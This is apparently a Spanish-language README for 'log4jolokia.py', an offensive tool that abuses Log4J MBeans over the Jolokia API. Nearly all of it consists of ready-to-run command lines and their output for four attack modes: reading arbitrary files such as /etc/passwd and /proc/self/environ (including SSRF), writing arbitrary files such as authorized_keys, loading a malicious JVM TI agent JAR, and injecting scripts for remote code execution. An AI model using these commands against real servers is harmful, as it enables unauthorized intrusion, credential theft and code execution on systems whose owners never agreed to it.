
Implementación en Python3 para explotar Log4J a través de Jolokia
Implementación en Python3 para aprovechar y explotar MBeans de Log4J a través de Jolokia
Ayuda genérica:
usage: log4jolokia.py [-h] [-u [USER]] [-p [PASSWD]] [--proxy [PROXY]] [-H [HEADER]] {exec_jar,write_file,read_file,exec_script} [{exec_jar,write_file,read_file,exec_script} ...] target [target ...]
positional arguments:
{exec_jar,write_file,read_file,exec_script}
choose mode: exec_jar | write_file | read_file | exec_script
target URL to jolokia (e.g. http://127.0.0.1:8161/console/jolokia)
options:
-h, --help show this help message and exit
-u [USER], --user [USER]
Jolokia username
-p [PASSWD], --passwd [PASSWD]
Jolokia password
--proxy [PROXY] Optional HTTP(S) Proxy (e.g. burp at http://127.0.0.1:8080)
-H [HEADER], --header [HEADER]
Other required custom HTTP headers (e.g. -H "Origin: http://localhost"
-H "Referrer: http://localhost")
Nota: Dependiendo del modo que selecciones, la ayuda variará en algunas secciones.
El programa tiene los siguientes 4 modos de explotación:
Al modificar el atributo "ConfigLocationUri" de Log4J y leer el nuevo contenido de "ConfigText" (usando la función "getConfigText(String)" o realizando una acción de "read" de Jolokia sobre el atributo "ConfigText") a través de la API de Jolokia, un atacante puede leer archivos arbitrarios.
Nota: En este caso usaremos el vector de lectura "getConfigText(String)" ya que podemos recuperar la representación exacta en bytes de la salida de los archivos en codificación "latin-1".
Nota 2: Este vector también puede utilizarse para acceder a servidores internos/de otro modo inaccesibles:
Ayuda - Parámetros específicos para leer archivos:
$ python3 log4jolokia.py read_file http://a -h
***TRUNCATED***
-r [READ], --read [READ]
Absolute or relative path of a file to read on target (Use only with mode: read_file)
Example commands:
- Absolute Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r /etc/passwd -u admin -p admin -H 'Origin: http://localhost'
- Relative Path:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ./artemis -u admin -p admin -H 'Origin: http://localhost'
- Specific Protocol:
-- FTP:
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r ftp://test:[email protected]:22/test -u admin -p admin -H 'Origin: http://localhost'
-- SMB (Windows only):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r file:////127.0.0.1/C/test -u admin -p admin -H 'Origin: http://localhost'
-- HTTP SSRF (Usually no output a.k.a. Blind SSRF):
python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -r 'http://127.0.0.1:80/test?test=test' -u admin -p admin -H 'Origin: http://localhost'
Ejemplo - Leer "/etc/passwd":
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /etc/passwd
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /etc/passwd
[+] Successfully set ConfigLocationUri to "/etc/passwd"
[.] Reading file output from ConfigText
[+] Content of "/etc/passwd":
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
***TRUNCATED***
Ejemplo - Leer "/proc/self/environ" (el contenido contiene caracteres no imprimibles (p. ej., bytes nulos), por lo que la salida estará codificada en base64):
$ python3 log4jolokia.py read_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -r /proc/self/environ
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Using mbean org.apache.logging.log4j2:type=21263314
[.] Setting ConfigLocationUri to point to arbitrary location /proc/self/environ
[+] Successfully set ConfigLocationUri to "/proc/self/environ"
[.] Reading file output from ConfigText
[.] File "/proc/self/environ" contains non-printable characters, displaying base64 encoding
[+] Base64 content of "/proc/self/environ":
TEVTU09QRU49fCAvdXNyL2Jpbi9sZXNzcGlwZSAlcwBNQUlMPS92YXIvbWFpbC9jdGYAVVNFUj1jdGYATENfVElNRT1maV9GSS5VVEYtOABTSE***TRUNCATED***
Al crear y cargar una configuración maliciosa de Log4J, podemos aprovechar el valor de los parámetros "RollingFile -> fileName" (dónde escribir) y "Pattern" (qué escribir) para escribir contenido arbitrario en ubicaciones arbitrarias. En este caso creamos configuraciones maliciosas de Log4J en formato XML y aprovechamos la función "setConfigText(String, String)".
Nota: Para escribir archivos binarios complejos, dado que el formato XML tiene caracteres de control restringidos específicos, se han utilizado otros formatos de configuración compatibles (p. ej., Properties) en un proceso de escritura en 2 pasos.
Ayuda - Parámetros específicos para escribir archivos:
$ python3 log4jolokia.py write_file http://a -h
***TRUNCATED***
-lf [LOCAL_FILE], --local_file [LOCAL_FILE]
Path to local file to be written on the target (Use only with mode: write_file)
-w [WRITE], --write [WRITE]
Path of file to be written on the target (Use only with mode: write_file)
-P [PERM], --perm [PERM]
Permissions of the file written on the target. Useful for files like "authorized_keys" that require "rw-------". (Default value is "rwxrwx---") (Use only with mode: write_file)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -lf 00-ff.txt -w /tmp/test_write -u admin -p admin -H 'Origin: http://localhost'
Ejemplo - Escribir "test" en "/tmp/test":
$ echo test > t.txt
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf t.txt -w /tmp/test --proxy http://127.0.0.1:8080
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from t.txt
[.] Generating Log4J configuration
[+] Generated Log4J XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[.] Checking that the file "/tmp/test" was written successfully on the target
[+] File "/tmp/test" has been successfully written on the target
Ejemplo - Escribir un archivo que contenga caracteres XML no válidos en "/tmp/test2":
$ python3 log4jolokia.py write_file http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -lf 00-ff.txt -w /tmp/test2
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[.] Reading content from 00-ff.txt
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/test2" was written successfully on the target
[+] File "/tmp/test2" has been successfully written on the target
Al utilizar la funcionalidad presentada en el módulo "write_file", escribiremos un JAR arbitrario en el sistema objetivo y luego usaremos la función "jvmtiAgentLoad([Ljava.lang.String;)" para ejecutar código Java arbitrario.
Ayuda - Parámetros específicos para ejecutar JARs:
$ python3 log4jolokia.py exec_jar http://a -h
***TRUNCATED***
-j [JAR], --jar [JAR]
Path to local jar to be executes on the target (Use only with mode: exec_jar)
--tmp_dir [TMP_DIR] Location of a writable directory. (Default value is "/tmp")
E.g. Unix == /tmp
Windows == C:/Users/Public
Example command:
python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -j mal_linux.jar -u admin -p admin -H 'Origin: http://localhost'
Valid jvmtiAgent JARs can be obtained from https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit
Puedes obtener JARs jvmtiAgent válidos desde https://github.com/mbadanoiu/jvmtiAgentLoad-Exploit
Ejemplo - Escribir y ejecutar archivo JAR:
$ python3 log4jolokia.py exec_jar http://127.0.0.1:8161/console/jolokia/ -u admin -p admin -H 'Origin: http://localhost' -j mal_linux.jar
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=21263314
[+] Found Log4J Mbean org.apache.logging.log4j2:type=76ed5528
[!!!] WARNING: You are about to write and execute the contents of "mal_linux.jar" on the target system. Make sure that:
- The JAR contains a valid JVM TI agent
- Once a JAR is successfully loaded:
-- No new JAR can be loaded until the Java application is restarted (a.k.a. pick your commands wisely because you only have one shot)
-- The JAR code will execute everytime the jvmtiAgentLoad() function is successfully called (result == "return code: 0")
If you agree with the above enter "yes" to continue: yes
[.] Reading content from mal_linux.jar
[.] Generating Log4J configuration
[.] Invalid XML characters have been detected in the content
[.] Using a 2 step write technique (XML -> Properties -> File)
[+] Generated Log4J Properties configuration
[+] Embedded Properties configuration in a XML configuration
[.] Using a double setConfigText in order to flush the buffer
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] File "/tmp/mal.properties" should have successfully been written on the target
[.] Using a double setConfigLocationUri in order to flush the buffer and finish writing "/tmp/mal.properties"
[.] Setting ConfigLocationUri to point to arbitrary location file:/tmp/mal.properties
[+] Successfully set ConfigLocationUri to "file:/tmp/mal.properties"
[.] Checking that the file "/tmp/mal.jar" was written successfully on the target
[+] File "/tmp/mal.jar" has been successfully written on the target
[+] Successfully called jvmtiAgentLoad()
Nota: Como se indica en la "ADVERTENCIA", una vez que hayas cargado correctamente un JAR de agente JVM TI (código de retorno: 0), repetir las solicitudes posteriores con JARs nuevos/modificados (siempre que sean válidos) provocará la re-ejecución únicamente del JAR cargado inicialmente/primero.
Al usar la funcionalidad de soporte de scripts integrada de Log4J, podemos inyectar una configuración maliciosa que contenga elementos de script arbitrarios.
Nota: Para que este exploit funcione, Log4J debe estar configurado para permitir el tipo de script correspondiente (por defecto no se permite ningún script).
Ayuda - Parámetros específicos para ejecutar scripts:
$ python3 log4jolokia.py exec_script http://a -h
***TRUNCATED***
-sf [SCRIPT_FILE], --script_file [SCRIPT_FILE]
Path to local file containing the script to be executed on the target (Use only with mode: exec_script)
-l [LANGUAGE], --language [LANGUAGE]
Language of the script to be executed (E.g. javascript, groovy, beanshell, etc.) (Use only with mode: exec_script)
Example command:
python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
Ejemplo - Ejecutar script:
$ python3 log4jolokia.py exec_script http://127.0.0.1:8161/console/jolokia/ -sf rce.js -l javascript -u admin -p admin -H 'Origin: http://localhost'
[.] Looking for "org.apache.logging.log4j2" mbeans in http://127.0.0.1:8161/console/jolokia/list
[+] Found Log4J Mbean org.apache.logging.log4j2:type=561b61ed
[!!!] WARNING: You are about to execute a javascript script from the "rce.js" file.
Keep in mind that this script will be triggered multiple times.
If you agree with the above enter "yes" to continue: yes
[.] Reading javascript script from rce.js
[.] Using setConfigText to load the Log4J XML configuration
[+] Successfully called setConfigText()
[+] The script should have been successfully executed
Nota: Este modo carga el script correspondiente, pero no tiene forma de saber si, una vez cargado, el script se ejecuta correctamente o falla silenciosamente.
Ejemplo de explotación manual del modo "read_file":
Ejemplo de explotación manual del modo "write_file" que resulta en RCE:
Ejemplo de explotación manual del modo "exec_jar":
Ejemplo de explotación manual del modo "exec_script":